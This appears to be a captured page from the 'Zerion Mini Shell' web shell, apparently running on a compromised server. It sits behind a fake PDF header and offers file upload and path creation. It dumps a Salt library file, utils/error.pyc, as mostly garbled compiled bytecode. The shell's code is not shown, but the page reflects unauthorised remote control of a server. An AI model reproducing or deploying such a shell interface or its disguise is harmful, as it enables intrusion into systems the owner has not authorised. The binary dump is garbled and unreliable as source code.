%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/utils/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/utils/error.pyc

�
���^c@@sxdZddlmZmZmZddlZddlZddlm	Z
dddd�Zd�Z
ddd	�ZdS(
uE
Utilities to enable exception reraising across the master commands

i(tabsolute_importtunicode_literalstprint_functionN(tbuiltinsucC@s�|p	d}ttj|�r3ttj|�}n9tt|�rTtt|�}nd}ttj|�}|dk	r�||��n||��dS(u�
    Raise an exception with __name__ from name, args from args
    If args is None Otherwise message from message    If name is empty then use "Exception"
    u	Exceptionu
SaltExceptionN(thasattrtsaltt
exceptionstgetattrtNone(tnametargstmessagetex((s4/usr/lib/python2.7/site-packages/salt/utils/error.pytraise_errorscC@s?t|d�r|j�}ni|j�d6|jd6}|S(Nupackumessageuargs(Rtpackt__unicode__R
(texctpacked_exception((s4/usr/lib/python2.7/site-packages/salt/utils/error.pytpack_exception$suminioncC@sP|dkri}ntjjj|d|dt�}|jt|�d�dS(u1
    Fire raw exception across the event bus
    toptstlistenu_salt_errorN(RRtutilsteventt	SaltEventtFalset
fire_eventR(RRtjobtnodeR((s4/usr/lib/python2.7/site-packages/salt/utils/error.pytfire_exception,s	!(t__doc__t
__future__RRRtsalt.exceptionsRtsalt.utils.eventtsalt.ext.six.movesRRRR
RR(((s4/usr/lib/python2.7/site-packages/salt/utils/error.pyt<module>s	

Zerion Mini Shell 1.0